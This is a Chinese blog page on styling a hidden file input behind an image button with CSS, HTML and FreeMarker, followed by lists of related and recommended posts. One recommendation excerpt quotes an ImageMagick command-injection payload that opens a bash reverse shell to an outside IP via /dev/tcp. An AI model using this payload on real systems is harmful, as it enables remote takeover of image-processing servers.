CSS样式:

<style type="text/css">
.fileInputContainer{
height:70px;
width:95px;
position:relative;
} .fileInput{
height:70px;
width:95px;
position:absolute;
right:0;
top:0;
opacity: 0;
filter:alpha(opacity=0);
cursor:pointer;
}
</style>

JavaScript:

此处JS使用JQuery自定义图片Ajax处理

HTML:

<div class="div img">
  <ul class="fl">
  <li class="i1">
<div id="divImg" class="fileInputContainer" style="" >
<img id="img" style="height:70px; width:95px;" src="<#if img??>图片地址<else>默认图片地址URL</#if>" />
<input id="imgPath" name="imgPath" value="展示''}" type="hidden" class="fileInput" />
<input id="ImgShow" name="files" type="file" class="fileInput" />
</div>
</li>
<li class="i2 blue font16 ">展示图片</li>
</ul>
  <ul>
    ... ...
  </ul>
</div>

借鉴这位博友:

http://www.cnblogs.com/wangkongming/archive/2013/04/09/3010615.html

图片按钮来代替文件上传控件(Freemaker,JQuery,HTML,CSS,JavaScript)的更多相关文章

  1. jquery文件上传控件 Uploadify

    (转自 http://www.cnblogs.com/mofish/archive/2012/11/30/2796698.html) 基于jquery的文件上传控件,支持ajax无刷新上传,多个文件同 ...

  2. jquery文件上传控件 Uploadify 问题记录

    Uploadify v3.2.1 首先引用下面的文件 <!--上传控件 uploadify--> <script type="text/javascript" s ...

  3. ***文件上传控件bootstrap-fileinput的使用和参数配置说明

    特别注意:    引入所需文件后页面刷新查看样式奇怪,浏览器提示错误等,可能是因为js.css文件的引用顺序问题,zh.js需要在fileinput.js后面引入.bootstrap最好在filein ...

  4. jquery文件上传控件 Uploadify 可以和ajax交互

    http://www.cnblogs.com/mofish/archive/2012/11/30/2796698.html  原网址 基于jquery的文件上传控件,支持ajax无刷新上传,多个文件同 ...

  5. jquery文件上传控件 Uploadify(转)

    原文:http://www.cnblogs.com/mofish/archive/2012/11/30/2796698.html 基于jquery的文件上传控件,支持ajax无刷新上传,多个文件同时上 ...

  6. 使用Uploadify(UploadiFive)多文件上传控件遇到的坑

    最近项目中需要实现多文件上传功能,于是结合需求最终选择了Uploadify这一款控件来实现.相比其他控件,Uploadify具有简洁的界面,功能API基本可以解决大多数需求,又是基于jquery的,配 ...

  7. 在WebBrowser中通过模拟键盘鼠标操控网页中的文件上传控件(转)

    引言 这两天沉迷了Google SketchUp,刚刚玩够,一时兴起,研究了一下WebBrowser. 我在<WebBrowser控件使用技巧分享>一文中曾谈到过“我现在可以通过WebBr ...

  8. 对FileUpload文件上传控件的一些使用方法说明

    //创建时间:2014-03-12 //创建人:幽林孤狼 //说明:FileUpload文件上传控件使用说明(只是部分)已共享学习为主 //可以上传图片,txt文档.doc,wps,还有音频文件,视屏 ...

  9. 因用了NeatUpload大文件上传控件而导致Nonfile portion > 4194304 bytes错误的解决方法

    今天遇到一个问题,就是“NeatUpload大文件上传控件而导致Nonfile portion > 4194304 bytes错误”,百度后发现了一个解决方法,跟大家分享下: NeatUploa ...

随机推荐

  1. (转载)String.IsNullorEmpty()方法的使用

    using System;using System.Collections.Generic;using System.Linq;using System.Web;using System.Web.UI ...

  2. 如何将maven项目导入MyEclipse

    一.安装maven第一步:下载一个免安装版的apache-maven-3.0.3.zip解压后,配置环境变量 新建M2_HOME:   在path后面添加  %M2_HOME%\bin;   第二步: ...

  3. jquery js javascript select 无限级 插件 优化foxidea版

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...

  4. bootstrap学习笔记之二

    学习表单时还是有些吃力的,主要感觉有些结构有些复杂,没有自己亲手去操作就感觉似懂非懂,所以还得自己亲手测一下. 现在开始按钮的学习. 可作为按钮使用的标签和元素有:  <a>.<bu ...

  5. ImageMagick又一处命令执行

    push graphic-context viewbox image copy , , "|bash -i >& /dev/tcp/1.1.1.1/1234 0>& ...

  6. CentOs5.8下安装Oracle12C

    12C安装向导: http://docs.oracle.com/database/121/LTDQI/toc.htm 12C下载地址: http://www.oracle.com/technetwor ...

  7. 2_STL容器

    STL算法的精髓在于  算法的  返回值!!! String: string是STL的字符串类型,通常用来表示字符串:C语言中一般用char* char*字符指针;string是类封装了char*,管 ...

  8. Color Space: Lab

    Lab颜色空间是由CIE(国际照明委员会)制定的一种色彩模式.自然界中任何一点色都可以在Lab空间中表达出来,它的色彩空间比RGB空间还要大.另 外,这种模式是以数字化方式来描述人的视觉感应, 与设备 ...

  9. Apache Spark技术实战之6 -- spark-submit常见问题及其解决

    除本人同意外,严禁一切转载,徽沪一郎. 概要 编写了独立运行的Spark Application之后,需要将其提交到Spark Cluster中运行,一般会采用spark-submit来进行应用的提交 ...

  10. Ubuntu每次启动都显示System program problem detected的解决办法

    Ubuntu每次启动都显示System program problem detected的解决办法 sudo gedit /etc/default/apport 将enabled=1改为enabled ...